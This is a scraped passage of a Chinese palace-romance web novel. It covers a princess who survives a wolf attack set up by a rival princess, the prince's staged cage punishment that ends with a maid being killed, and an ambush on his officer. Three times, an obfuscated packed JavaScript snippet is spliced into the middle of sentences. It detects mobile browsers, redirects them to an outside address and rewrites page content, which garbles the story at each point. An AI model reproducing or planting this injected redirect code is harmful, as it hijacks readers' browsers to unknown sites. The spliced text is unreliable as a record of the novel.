闻梨心想,也许是谢陵没注意到她的掉队,已经走了,她得赶快追上,要不然肯定会再次迷路,可她早已筋疲力尽,试着几次都没爬起来。 不知怎的,她脑海中浮现被母妃抛下的那个夜晚,她也是这样努力追着马车跑,因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178241|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为看不清脚下的台阶,摔得头破血流,为什么被丢下的人永远是自己。 她很不服气,手脚并用,连下巴也在努力,想爬起来,这些年,她一遍遍想爬起来,做梦都在想,想追上母妃的马车问一句,为什么母妃宁愿带走一个收养的皇子,也不愿意带她走,就因为她只是个公主吗? 她不想就此认命,是不是只要自己跑得够快,就能追上母妃的马车,眼前彷佛出现一道掉漆的朱门,耳边朱门缓缓关闭的轰鸣声,她彻底被关在朱门内。 当幻境消失的刹那间,她感受到背部有兽爪摁住自己,耳边的轰鸣声也逐渐变得清晰,是狼犬的低吼声,闻梨脑海一片空白,连恐惧也忘了,只愣愣地望着狼犬尖利的獠牙咬向自己的脖颈。 她绝望闭眼,什么都没想。 眼前忽而闪过一道刺眼的冷光,温热的血溅射在闻梨脸上,只听得狼犬闷哼一声,软绵绵倒在了闻梨身上,闻梨彻底被狼犬压倒。 及时赶来的萧禹把狼犬从闻梨身上挪开,萧禹先查看了狼犬,确认中箭的狼犬已死,没什么威胁,才把闻梨扶起来,试图唤醒她:“公主殿下?” 闻梨眼前浮现了母妃的脸,她以为是母妃回来接她,便扑进来人怀里,放声哭了出来,口中呓语含糊不清道:“母妃,别再扔下我了。” 被公主搂得极紧,萧禹面露难色看向不远处,手持弓箭正匆步赶来的临王。 谢陵自然也瞧见了这一幕,适才他看到了跌倒的闻梨,本想过去扶她,但百步之外有火光闪烁,是萧禹带着一队禁军赶来了。 雪狼已死,暂时没威胁,谢陵便加快步伐,想把王若楚送过去,再回来抱闻梨,可是他遗漏了一件事,失踪的有两匹雪狼。 当他放下王若楚,夜间目力极好的他,正瞥见好不容易爬起来的闻梨被另一只雪狼扑倒,千钧一发之际,他来不及赶到闻梨身边,便夺走其中一个禁军的弓箭,百里开外一箭命中狼犬要害。 还好闻梨没事,看样子吓得不轻,抱紧萧禹不肯撒手。 见谢陵站着不动,萧禹很有分寸地将闻梨抱起,想递给谢陵,闻梨公主毕竟是人家临王的未婚妻。 但谢陵没接,看到闻梨头一回在别人怀里哭得如此肝肠寸断,千言万语最终只化作一句话:“劳烦萧将军了,她现在需要你。” 萧禹脸上写满诧异,不等自己开口,见临王径自先走了,萧禹只好抱着闻梨公主跟上,走前他又看了一眼倒地的狼犬,不由得在心中敬佩临王的好箭法,换做是他,兴许会射歪。 王若楚在一旁焦急等待,见谢陵回来,问道:“谢家哥哥,公主她没事吧?” 谢陵不语,一手捞起王若楚,往下山的路走去。 王若楚总觉得谢家哥哥生气了,抱她的力道也比刚才粗重了些,但她不敢问缘由,视线一转,她瞧见依偎在萧禹怀里的闻梨公主,忽然意识到了什么。 谢家哥哥果然很在意闻梨公主。 15. 第十五章 众人一道下了山,国公夫妇俩早就听说了事由,一直守在后山林入口,见临王与萧将军各抱着一人回来,慌忙跪下磕头。 “老臣该死,没有看好孽畜,害得公主殿下受惊,公主人没事吧?可要老臣派人去请御医?” 闻梨在半途中就已清醒,那时便已看清抱着自己的人是萧禹,萧禹的胸膛很结实,像一堵墙,手又十分规矩,几乎没什么不适感。 谢陵的怀抱则不太一样,面上情绪不显露,手上的力道却随着心情而变化,以至于有时给人的压迫感太强,反倒被禁锢着不能动。 此刻听到国公爷的问安,闻梨才从萧禹怀中下来,她先扭头看了一眼谢陵抱着的王若楚,平静吩咐道:“王姑娘扭伤了脚,过会儿临王会送她回去,传我命去宫里请御医替王姑娘诊治,半月后便是婚期,命御医定要诊治好王姑娘的脚伤。” 国公爷眼神询问谢陵的意思,谢陵冷道:“就照公主的吩咐去做。”说罢,他抱着王若楚先离去了。 闻梨扫一眼四周,“沈迟沈侍郎可还在府上?” 国公爷听得一头雾水,“应该还在前院,老臣即刻派人去请。” 国公夫人看着闻梨公主一身的狼狈样,好心上前问道:“公主可先随臣妇去更衣?” 闻梨摇头,又看向萧禹,“萧将军,请你马上派人把国公府围住,不许放任何一个人出府。” 萧禹本该只听命于皇帝一人的,今天只负责保护公主的出行安全,但一想到闻梨公主差点死在狼牙下,本就是自己失职,便破例听她一次。 国公爷神情惶恐,急得像热锅上的蚂蚁:“哎呀,这这这……求公主息怒,围不得府呀!” 闻梨没再说话,一直等到下人把沈迟找来。 另一边,谢陵将王若楚抱上自己的马车,便命陆回将王若楚送回府,陆回挠挠头,一时搞不清状况,“王爷你要去……哪啊?” 陆回还没说完话,便见谢陵头也不回地往国公府里进去。 谢陵几乎与沈迟前后脚来到后山入口处。 沈迟先来,借着廊下的檐灯打量闻梨公主,她的发钗全乱了,身上沾满淤泥,袖子被磨破,腕处的雪肤有大一片蹭起皮的红痕。 “公主这是怎么了?”沈迟在前院,只听说国公府的两匹雪狼失踪了,没想到闻梨公主会变成这副样子。 闻梨注意到谢陵又回来了,目光并未多作停留,望向沈迟,“我怀疑有人想对我下手,可否请沈公子帮我找出真凶?” 谢陵顿住脚步,眼眸中闪过一抹郁色,没再往前走,为何明明他就在这,闻梨却不救助于自己,反而要找一个没见过两次面的沈迟帮忙? 沈迟毫不犹豫道:“公主请说,刚才发生了什么事?” 闻梨知道谢陵不想她与沈迟有过多交际,但她没想到谢陵还会回来,便只能尽力去忽视那道炙热而愠怒的目光。 “我与王家小姐在后山林闲逛,却多次遭到狼犬伏击,我的侍女翠玉是第一个被攻击的目标,我仔细回想了一下,后三次全是冲着我来的,很奇怪,为何后三次我们那么快被狼犬找到,而且园中人多,狼犬却每次都能不偏不倚找到我,其中必有古怪。” 沈迟诧异地望了一眼闻梨,没想到她竟然能在这么多次狼犬的攻击中活下来,此刻还能如此镇定地回忆细节。 “公主可否让臣走近闻一闻您身上的味道?” 没等闻梨开口说话,谢陵便已十分不爽地站来闻梨身边,不过他什么话都没说,像是默许了沈迟的请求。 闻梨瞥一眼谢陵,好在他没有多余的动作,众目睽睽下,她真怕他因为争风吃醋对沈迟出手。 “有劳沈公子了。” 沈迟靠近闻梨,很有风度地伸手扇了扇味道,并没有凑得很近,呼吸间扑面而来的,除了女儿家的体香,还有一股若隐若现的药味。 沈迟心中已有决断,转身看向国公爷,礼貌问道:“敢问国公爷,收进府中的狼犬可曾接受过驯化?平时也会像这般无缘无故伤人吗?” 国公爷连忙否认:“全是受过驯化的,要不然我也不敢带进府里。” 沈迟了然于心,朝闻梨解释道:“公主身上确实有一种药味,像是来自西域的绮罗散,此药在斗兽场很常见,一般是用来涂抹在罪奴身上,以激发兽类的野性,让罪奴与野兽厮杀。” 闻梨听罢,沉默良久,她已经猜到了凶手是谁,却犹豫着要不要说。 谢陵忽而牵住她的手,“想说就说,有本王给你撑腰,不管那人是谁,本王都会让他付出代价。” 闻梨眸光微动,心想临王也许还能再利用一下,她从他掌心缩回手,决意把真凶说出来,毕竟翠玉是因她的缘故惨死狼牙之下。 闻梨将白天静绒失手打翻醋碟弄脏她衣裙的讲出来,“当时静绒曾派侍女与翠玉同行,许是在那个时候衣裙被下了药,而翠玉一直拿着我的衣裙,身上也沾了不少,狼犬才会第一时间攻击她。” 众人听罢,反应皆不一样,公国夫妇俩暗自松口气,原来是皇室内斗,那就与国公府无关了,沈迟却面露难色,一旦涉及皇子公主的事,他不过是个三品官员,能动用的权力很小。 谢陵倒是没什么可顾虑的,立刻命风浅把静绒的侍女带去猎场,又做主让国公爷等人都去猎场上候着,最后才看向闻梨,“等会要见很多人,公主先去换身衣服?” 闻梨想到自己一身的金叶子没地方藏,摇头拒绝了,谢陵见状,便遂她的愿,而后不由分说伸手揽住闻梨的腰,把人抱起,朝着猎场走去。 风浅奉命前去捉人,侍女没能带回来,倒是请来一众公主皇子,静绒也在其中,当她瞧见安然无恙的闻梨就站在临王身边,心慌了一瞬,想不到闻梨竟如此命大,两只狼都没把人叼走吗? 有皇子质问谢陵欲意何为,谢陵却道:“还请诸位殿下稍安勿躁,有人暗中谋害我未婚妻,只是想把人找出来,还未婚妻一个公道。” 此话一出,连沁芸也有点紧张了,虽不知静绒是用什么手段把闻梨弄成这副模样,但看见沈表兄也在此处,生怕沈表兄误会这事有她的份。 谢陵手握兵权,如今连皇帝都要让他三分薄面,好些皇子王爷,虽有皇室名头,却无实权,只要谢陵不欺负到自己头上来,诸位皇子犯不上跟他对着干,纷纷嘁了声。 谢陵侧过头,朝身边的闻梨低语几句:“公主是想自己问?还是要我帮你问? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178242|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “不了,我自己来问。” 闻梨走到静绒面前,冷声问道:“怎么不见静绒皇妹身边的侍女采荷?” 静绒故作镇定:“采荷身子不适,我已命她先回宫了,闻梨皇姐找采荷做什么?” 闻梨现在要做的是拖延时间,静绒定料不到她还能活下来,采荷兴许刚出府,希望萧将军那边能抓到人。 闻梨盯着静绒的眼睛,一字一句道:“我的侍女翠玉死了,身子被狼撕成两半,死得很惨烈,白天只有采荷跟翠玉独处过,我想找采荷问几句话。” 在场的人听到翠玉的死状,皆骇了一跳,面露惊恐之色。 静绒仍面不改色,冷静道:“闻梨皇姐是不是弄错了?采荷不过陪同翠玉去府外取了套衣裙,论相处时间,分明是皇姐与清霜陪伴更久,不妨先问问清霜,可有察觉翠玉有什么异常,没准是香粉擦的多,自己引祸上身呢?” 静绒回答得滴水不漏,闻梨却道:“清霜与翠玉皆是父皇的赏赐,静绒皇妹是在怀疑清霜?还是在质疑父皇?” 静绒有些急了,“你别胡说,我怎会怀疑父皇?” “既然如此,还请静绒皇妹把采荷交出来,不过是想询问一些事,皇妹不必如此护奴心切。” 静绒觉得自己不能被闻梨牵着鼻子走,脸上的神情败下来,声音里有几分哭音:“闻梨皇姐如今有父皇的宠爱,又有未婚夫临王撑腰,你们抓走我的侍女,想怎么屈打成招都行。” 谢陵冷笑一声:“公主大可放心,有刑部沈侍郎在此,以及诸位殿下、国公爷,本王怎敢在众目睽睽之下屈打成招呢?” 静绒的脸色越发难看,咬紧唇不说话。 沈迟也道:“公主不必过于担忧,只是例行问几句话而已。” 闻梨瞄一眼谢陵:“静绒皇妹别再耽误时间了,见不着采荷,临王是不会放大家回去的。” 谢陵:“……”她倒是惯会拿他当靶子。 静绒还是一句话都不肯说。 就这么僵持了一会儿,有好些个皇子颇有不满,表示就为了个侍女的死,把大家围困在国公府,简直小题大做,也有些人早看谢陵不顺眼,想拿此事做文章,到朝堂上参他一本。 闻梨开始有点心虚,再瞄一眼谢陵,发现他本人丝毫不为所动,还敏锐地捕获到她的视线,偏头来看她,正好捉住她偷看的小动作。 幽暗的灯火照在他半侧脸上,像是蒙上一层淡淡的银霜,原本分明的脸廓变得朦胧而柔和,平添了几分温柔干净的气质,与往日那个盛气凌人的模样大相径庭。 闻梨心想,他安静的时候,看起来没那么讨人厌,倘若他不是临王,而她也不是公主,只是寻常的百姓,她没准会对他动心,然后耍手段赶走他身边的朵朵桃花,成为他唯一的妻子。 但很可惜,他不仅是王爷,还即将娶心上人为妻。 “公主在想什么?”谢陵好奇问道。 闻梨忙别开目光,脸颊微微有些发烫,“我有点饿了。” 谢陵笑道:“好,等会带你去酒楼吃饭。” 他居然还有闲情去吃酒楼?闻梨不争气地咽下口水,一颗心跳得格外快,她还没去过酒楼! 16. 第十六章 正当众人僵持之际,萧禹赶来了,手里还绑着个披头散发的女子,“启禀公主,有人想从后墙逃走,被臣捆来了。” “多谢萧将军。”闻梨弯腰,掀开女子挡脸的长发,一眼认出此人正是静绒身边的侍女采荷,便吩咐道:“松开绳子吧。” 萧禹松开手中的绳子,采荷连忙爬向自己的主子,跪求道:“求公主救救奴婢,奴婢差点被萧将军杀死。” 萧禹皱眉,他分明只是手上的力气大了点,何时想过要杀了这婢女? 静绒满脸戚戚,趁势抱住采荷,主仆二人哭作一团:“闻梨皇姐可满意了?把我的侍女吓成这副模样,你想问什么便赶紧问,倘若要抓人,先拿出证据来。” 闻梨看向沈迟:“可否请沈公子闻一闻采荷身上有没有绮罗散的味道。” 沈迟未加思索便来到采荷面前,仍十分守礼地扇风闻了闻,但闻不出什么味道,他说了一句冒犯,便握住采荷的双手,凑近嗅了嗅,还是摇头,“采荷姑娘洗过手,臣闻不出来。” 闻梨朝国公夫人道:“能否请夫人搜一搜采荷的身子?” 国公夫人依言照做,把采荷带进附近的屋子,过了一会儿,又将人带回众人面前,说道:“臣妇并未在采荷姑娘身上发现什么。” 场面陷入了沉寂,静绒满腹委屈,憋着眼泪道:“皇姐搜完了,是否该放我们回去?” 闻梨眉头紧锁,想到翠玉的死,不愿就这样简单放过静绒,没想到静绒也是深藏不露的,说话做事谨慎,很难找出她的破绽,一旦让静绒回宫,这件事铁定又是不了了之。 闻梨心底生出一种无力之感,只得闷闷不乐道:“那你们走吧。” 静绒刚松口气,正要带着侍女离开,却听到沉默已久的临王忽然开口。 “慢着,闻梨公主不打算追究侍女的死,但本王可没说不追查了,不论是谁,胆敢对本王未婚妻出手,宁可错杀也不放过。” 闻梨诧异抬眸,心中很好奇谢陵要做什么,只见他神色冷峻,彷佛换了个人,目光不善地盯着采荷与静绒。 “风浅,把静绒公主和她的侍女扔进笼子里,单独与两只狼犬关在一处,对了,狼犬要喂饱,静绒公主金枝玉叶,可别伤到了她。” 风浅领命去办。 此话一出,众人皆是目瞪口呆,见谢陵一脸彷佛要吃人的神情,不像是在做戏唬人,众人才惊觉,眼前的临王可不是善茬,他可是屠了两座城池的活阎王啊,他杀过的人,尸首能堆起好几座山。 采荷已经被吓得失了魂魄,静绒也失去理智:“我是公主,你们不能……”话还没说完,便被风浅一左一右,拖进笼子面前。 国公爷急得团团转,不敢阻拦谢陵,只能试图劝道:“临王切莫动怒,有话好说,公主乃金尊玉体,怎能与狼犬待在一起?” 其余皇子与公主也都替静绒说情,谢陵却丝毫不理会,只道:“闻梨公主被欺负时,可没人替她求情,若不是本王及时赶到,闻梨公主已经进了狼腹。” 闻梨悄悄扯了下谢陵的袖角,“吓唬一下她们就行啦,要真伤了静绒,王爷也不好交代。” 谢陵反捏了下闻梨的手掌心,用只有她听得见的声音说道:“放心,风浅自有分寸。” 闻梨:“……”原来他果然是在装腔作势? 待风浅牵出两匹雪狼到猎场,采荷早已被吓破胆,忙讨饶道:“奴婢什么都肯说,奴婢不想死!奴婢……” 采荷的嘴被静绒捂住,静绒脸色煞白,却还在与谢陵心里对弈,她觉得谢陵不敢拿自己怎么样,绝不能被他的虚张声势吓到。 “你们把我的侍女吓得胡言乱语,等回到宫里,我定会向父皇母后告你们的状,闻梨皇姐还没嫁过去,当真想倚仗着临王肆意妄为?难不成连父皇母后都不放在眼里?” 闻梨有些退缩了,又想像往常那样忍气吞声。 谢陵沉下眼眸,“静绒公主莫要颠倒是非,本王何曾说过要把公主扔进去喂狼?不过是想给诸位看证据罢了。如诸位所见,雪狼已经喂饱,沈侍郎闻不出来,不代表雪狼闻不到,倘若采荷与静绒公主不是下药之人,雪狼就不会被激发兽性,为公平起见,本王这边也会派一个没接触过绮罗散的人进去,究竟是谁下的药,大家一看便知。” 采荷挣脱静绒的手,磕头哭道:“奴婢不敢隐瞒,闻梨公主身上的药确实奴婢下的,可奴婢也只是听命主子行事,奴婢从未想过要害死闻梨公主,公主饶过奴婢吧,都是我家主子指使的。” 静绒彻底无话可辩驳,愣愣坐在地上,不知在想什么。 采荷爬来闻梨身边,想找闻梨求情,却被谢陵一脚踹远,“本王说了,是在给诸位看证据,你现在求情,难保将来你的主子不会翻供,污蔑本王屈打成招。倘若想活命,不如去求你自己的主子,她要是认下这罪名,本王自然也就放过你。” 采荷又爬到静绒身边,苦求道:“公主!公主就认了吧?看在奴婢跟您多年的份上,求您救救奴婢!” 静绒将脸别过去,轻轻摇头道:“是你蓄意谋害闻梨皇姐,我护不了你。” 人群之中的沁芸不由得一阵后怕,表面看着安分守己的静绒竟有如此城府,还心硬如石,连自己的婢女都见死不救,她忽然为自己曾经对沁芸的颐指气使感到心有余悸。 谢陵眼神示意风浅行动,风浅心领神会,先将两匹雪狼关进笼子,随后双手同时拎起静绒与采荷,与二人一道进了笼子,锁好门。 围观的众人连大气也不敢喘,有些胆小的甚至蒙住眼睛,不敢再看。 闻梨正怔怔看着笼子里的三人,眼前覆来谢陵略带凉意的手掌,遮挡了视线,她顺从地闭上眼睛,没多久前方传来采荷凄切的惨叫声,还有野兽狼吞虎咽的舔舐声,以及骨头断裂的声音。 闻梨听得浑身发颤,被狼犬扑倒的画面还历历在目,就差一点,被狼吃掉的人就是她自己,一阵恶心涌上心口,闻梨忍得很难受,险些站不稳身子。 肩膀忽而被人揽住,下一瞬,闻梨感觉自己进了谢陵的怀中,曾经他身上那股令她抵触的雪松香,却在此时沁入她的鼻尖,舒缓着她紧绷的思绪。 夜晚的风吹来,带着丝丝凉意,闻梨不自觉将脸贴在谢陵胸口,他身上的暖意,头一回令她有种安心的感觉,彷佛把外间的一切声音都隔绝了。 不知过了多久,谢陵才放下手,闻梨再度睁眼,四周的人已经散了大半,笼子里也被人收拾干净,只剩静绒神情呆滞坐在原地,似乎被吓得不轻,显然还没从侍女的惨死中回过神来。 闻梨抬头看向谢陵:“我想跟静绒单独说几句话。” 谢陵默许了,派人清场,偌大的猎场此时只剩下闻梨和静绒,谢陵与萧禹皆退到不远处候着。 瞧见沈迟还没走,谢陵睨他一眼,毫不客气道:“沈侍郎还不走?莫非还惦记着别人的未婚妻?” 听着谢陵这火药味十足的酸言 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面对静绒的冷嘲热讽,闻梨没生气,反而说道:“你我都是沈皇后手中的一枚棋子,当棋子没用了,沈皇后会毫不犹豫舍去,她是不是曾答应你,杀了我,便会让你取代我嫁给临王?” 静绒终于肯看向闻梨:“可惜败了。” 闻梨摇头:“沈皇后对我恨之入骨,而我已经脱离了她的掌控,一旦你杀了我,你的用处就不大了,下一个她想除掉的人就是你。” 静绒沉默好一阵,“你不恨我吗?为什么要跟我说这么多?” 闻梨见静绒已经明白她的意思,提步欲走:“我只希望你别再跟我作对,我们曾经是一样的人,是选择做沈皇后的棋子,还是做你自己。” 其实闻梨就是想给沈皇后添堵,反正自己也快走了,不如顺手帮沈皇后找点麻烦事。 “我哪有什么选择?又没别的什么王爷给我撑腰。” “一定可以的,即便眼下不能,将来总有机会。” 静绒陷入沉思,望着闻梨走远的身影,封闭已久的心像是被什么东西撩开一道口子,她试着在心里问自己,真的会有摆脱沈皇后控制的那天? 夜里风凉,闻梨过来时,谢陵给她穿了件披风。 闻梨系好衣带,朝萧禹福身道,“今日多谢萧将军救我于狼爪之下。” 谢陵登时怔在原地,萧禹则瞅一眼谢陵的神情,不紧不慢解释道:“公主误会了,当时是临王百步外射中雪狼,臣不过是帮忙挪走狼的尸首。” 说罢此话,萧禹识趣走开,给二人留下独处的空间。 闻梨心虚地望着谢陵,谢陵抿起唇,神色紧绷,寒似冰霜的眼眸也在盯着她,他那副幽怨的神情好似有千言万语,但最终又都咽了下去。 “王爷果然好箭法。” “还有呢?” “多谢王爷出手相救。” “就没了?” 谢陵拔腿欲走,冷不防想起闻梨扑进萧禹怀里时说的那句话,便猛然站住脚,闻梨一时没看清撞上他宽厚的背。 谢陵折身,又把闻梨抱起来,“今天先饶过你,改天本王再讨要报酬。” 四下无人,闻梨靠在谢陵怀中,借着风吹过房檐下的风铎响声,低声说了句:“谢谢你。” 谢陵唇畔牵起浅浅的弧度,转念又想到下山之时,闻梨也是这样靠在萧禹怀里,甚至贴得更近,没好气道:“萧将军的怀抱较之本王如何?” 闻梨一把扯紧谢陵的衣领,试图转移话题:“王爷说过要带我去酒楼吃饭,还作数吗?” 17. 第十七章 最终,闻梨还是没能去酒楼吃饭,上了马车,她靠在谢陵怀里睡着了,马车路过醉香居时,谢陵伸手轻轻撩拨了下闻梨的长睫,见她睡得熟,像小猫一样乖巧地躺在自己怀里,便没忍心吵醒她。 把闻梨送到皇宫外,谢陵从马车下来,朝萧禹道了声谢,再回到王府时,夜色已深。 白天国公府发生的事,早已传到商晏耳中,他一直在正厅内等着,见谢陵归来,上前见礼:“殿下回来了。” 谢陵没想瞒着商晏,坐下后解开袖缚,松了松手腕,直言道:“军师不必多言,待回禀叔父后,今天的事我甘愿领罚,定不让军师为难。” 商晏想说的话都被谢陵挡了回去,无奈地从袖口掏出一张折好的草纸:“事已至此,认罚不是首要,幸好殿下应对得不错,没真让静绒公主受伤,事情尚有转圜之地,我已拟好稿纸,明日朝堂之上,殿下可照此稿应答。” 谢陵粗略扫一眼稿纸,没什么问题,大致上与自己的想法一致,正欲收进袖中,准备起身去写奏折,忽而抬头朝外边望了望:“陆回还没回府?” 商晏困惑道:“陆参将不是与殿下一同赴宴去了么?” 谢陵说了自己派陆回送王若楚回府的事,随后让风浅去东院打听,才知陆回今晚一直没回来。 商晏思量道:“陆参将平日行事作风虽不拘一格了些,但凡事必以殿下的吩咐为先,绝不会像这般不见踪影,怕是在途中出了意外。” 谢陵沉下眼眸,取过堂前悬挂的长剑,预备清点府兵出去找人,正当此时,有府兵通传,说门外有个女子自称是王家六小姐,想要见临王一面。 谢陵与商晏即刻赶往府门外,远远便瞧见门边檐灯下来回踱步的身影。 听到门内传出脚步声,王萝玉欣喜抬头,像是松了口气,眸光微动,视线先落在了青衫士子身上,而后才若无其事挪开,摘下挡脸的帽兜,朝临王拜了拜。 王萝玉起身说明来意:“陆将军送阿姐回府途中遭遇了刺客袭击,陆将军拼死救出阿姐,自己却身负重伤,阿姐崴了脚行动不便,便再三嘱托我把陆将军送到王府,我恐路上又有刺客伏击,这才乔装改道而来。” 谢陵:“陆回人在哪里?” 王萝玉指了指身后的马车,谢陵赶过去,掀开车帘,果然见满身是血的陆回躺在里面,于是立刻派人将陆回搬下马车,一面令人去请军医过来。 谢陵忙着查看陆回伤势,将王萝玉晾在一边,王萝玉站在一侧,走也不是,进也不是,心中并未因为自己的冷遇而有不满,但总归有那么一点不愉快,临王居然问也不问一声堂姐的情况,好似一点也不在意。 商晏注意到她的尴尬处境,当把陆回送进府后,走过来温和道:“想不到王姑娘小小年纪竟有如此胆识,宋某佩服,待陆参将伤势好转,某定让他亲自向姑娘道谢。” 被他这么一说,王萝玉心中的那点不愉快一扫而光,她早就打听过,临王麾下有一名军师唤作商晏,年二十九,金陵人氏,尚未娶妻,天才少年,十五岁初出茅庐,先后辅佐过三代将帅,赢下数百场战役,可谓殊勋茂绩,令人艳羡。 王萝玉心头悸动不已,红着脸道:“承先生谬赞,不过是举手之劳,陆将军没事就好。”话落,她一时不知该说些什么。 商晏笑了笑,客套道:“姑娘路上劳累,可要进来喝杯茶再走?” “好啊。”话一出口,王萝玉便后悔了,本该拒绝的话,到了嘴边不知怎的变成同意,这下完了,在商先生眼中,自己肯定是个不矜持的姑娘。 商晏确实一愣,随即反应过来,笑着给王萝玉解围:“姑娘也是想问过陆参将的伤势再走吧?请先进来,随某到厅上用茶,一会儿某派人送你回府。” 王萝玉鬼使神差跟着他进了府。 后半夜,经过军医救治,陆回终于醒来,睁眼看到床边的谢陵,挣扎起身,开口便是认罪:“末将没能照顾好王姑娘,还请王爷责罚。” 谢陵按住陆回,这才想起还没问过王若楚的情况,好在商晏早从萝玉那里得知了消息:“陆参将放心,王家长女没事,是你保护了她。” 陆回松了口气,躺了回去,接着谢陵询问刺客来袭的详细情形。 陆回仔细回忆道:“我们是在入城后遭到的伏击,刺客大约有百来十个,组织有序地从各个巷口包夹过来,刺客误以为马车里坐的是王爷,率先朝马车进攻,好在末将及时将王姑娘救走,刺客们见王爷不在,只派了几个人来追击我们,否则末将还真没办法带着王姑娘逃出来。” 商晏追问:“可有看清刺客的身份?” 陆回似是想到了什么,“瞧着他们的身形手法,像是从北齐来的,武功皆不比我低。” 谢陵陷入沉思,商晏也沉吟片刻,推测道:“看来半月前收到的那封密报没错,北齐潜来一批杀手,想要对王爷下手,没想到他们在玉京城的部署如此周密,恐有内奸相助,并且这内奸的身份不低,殿下以为该当如何?” 谢陵道:“刺客既然是冲着我来的,想必还在暗中潜伏,那就引蛇出洞,布下杀局,叫他们有来无回。” 商晏却道:“可他们这次失手,会更加小心谨慎,敌人在暗,我们在明处,难保不会识破我们布下的天罗地网。” 陆回不甘心地闭眼:“难道我们只能被动挨打嘛!” 商晏:“也不尽然,我有一计倒可使刺客放松警惕,但不知殿下是否愿意让闻梨公主冒险?” 谢陵瞬间明白了军师的意思,仍迟疑不决,沉默着不说话。 商晏等了等,还想再劝,却听得谢陵说道:“可以。”说罢,又嘱咐陆回养伤,便起身走了。 陆回听糊涂了,追问道:“军师有何妙计?” 商晏淡淡道:“陆参将好好养伤,我明日再来看你。” * 闻梨从国公府别苑回来,倒头睡了两天,期间不时梦见被恶犬追赶,又梦到自己变成谢陵身边的狗,梦里,他用一根长长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16187019|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的锁链绑着自己,只要她想逃走,那根锁链便会收紧,不仅把她拽回他身边,还勒得她喘不过气,渐渐地,梦又变成谢陵把她压在身下亲,亲得她快要窒息,方才醒来。 身上的汗水浸湿了两套枕被,闻梨一头埋进浴水中,憋了自己很久,久到清霜以为她闷死在水里,赶紧伸手将她捞起。 闻梨吐着水,睁眼问清霜:“现在什么时辰?” “回公主的话,卯时了。” 闻梨神情恹恹道:“替我梳妆吧。” 回宫后的这几日比闻梨预想中清净,沈皇后称病不出,静绒在宫里失踪了一阵,再出现时,胳膊脚腕处也有了大大小小的伤痕,偶尔在御花园遇见,静绒也比以前更加沉默寡言,唯一不同的是,没有跟在沁芸身后当跟班。 在此期间,唯有晋祐帝派人来象征性地安抚了闻梨几句,又给了点赏赐,言语间只字不提对静绒的处置,想来是不打算追究了。 闻梨早知会是这种的结果,心中并不意外,那日若非有谢陵在场,恐怕她被静绒陷害一事,永远也不会有人知道,更别提让静绒吃苦头。 只是很可惜,没能让幕后主使沈皇后付出点代价。 这日,清霜忽而跪地,啜泣道:“奴婢多谢公主替翠玉安置了身后事,奴婢与她在宫里相伴多年,早视对方为亲姐妹,如今翠玉枉死,奴婢一直担心她的尸首在山林不得安息。” 早在刚醒来时,闻梨便提笔给父皇写了封折子,说了翠玉忠心护主,希望能找回翠玉的尸首,送回故地,外加五百两银子安置翠玉的家人。 晋祐帝允诺了。 闻梨扶起清霜,“翠玉是因为我的缘故才枉死的,你若得闲,多给她烧点纸钱,聊表我的心意。” 顶替翠玉的宫女叫做杏络,从殿外进来,回禀道说:“公主,临王今日进宫,已经求得陛下恩准,说要带公主出宫游玩,此刻正在宫门边等着您,临王还托人传话,说公主不必隆重打扮,扮作寻常百姓方便出行。” 闻梨心中微动,没想到谢陵这么快就兑现了带她去酒楼吃饭的承诺,前几次出宫,好多新鲜玩意都只是匆匆掠过一眼,难得有机会慢慢逛一逛玉京城。 她即刻让清霜替自己选套素净的衣裙,简单梳过妆,又背着侍女们妥帖藏好金叶子和银票,兴致勃勃坐上软轿,朝宫门口行去。 宫门边,早有临王府的马车等候在侧,今天出宫有谢陵在,晋祐帝未派禁军随行,连闻梨带出来的两个侍女,也被拦在了一旁。 闻梨不解地看向马车旁边的人,谢陵并未下车,风浅奉命过来解释道:“王爷说,只想与公主单独从简出行,带着侍女侍卫未免招摇,连卑职也会远远跟在后边。” 闻梨没有犹豫,扭头吩咐清霜与杏络回宫等候,而她提裙登上马车,掀帘入内,抬眸见谢陵正襟危坐在里侧,一双乌黑深沉的眼眸,略带点复杂的晦暗情绪,正目不转睛凝视着她。 闻梨心中顿觉,今天的谢陵似乎与平常不太一样。 18. 第十八章 闻梨在侧边的软席坐下,与谢陵保持着不近不远的距离,轻声询问道:“王爷有心事?” 谢陵抿唇不语,朝闻梨勾勾手指,示意她坐到自己身边。 闻梨只好挪过去,刚靠近谢陵,便被他从后边环腰抱住,他的下颌搁在闻梨肩窝,闭眼养神。 两人贴得很近,闻梨被他这忽远忽近的距离感搞得不知所措,但想到今天能出宫游玩,便没挣扎,任其将自己抱在怀中。 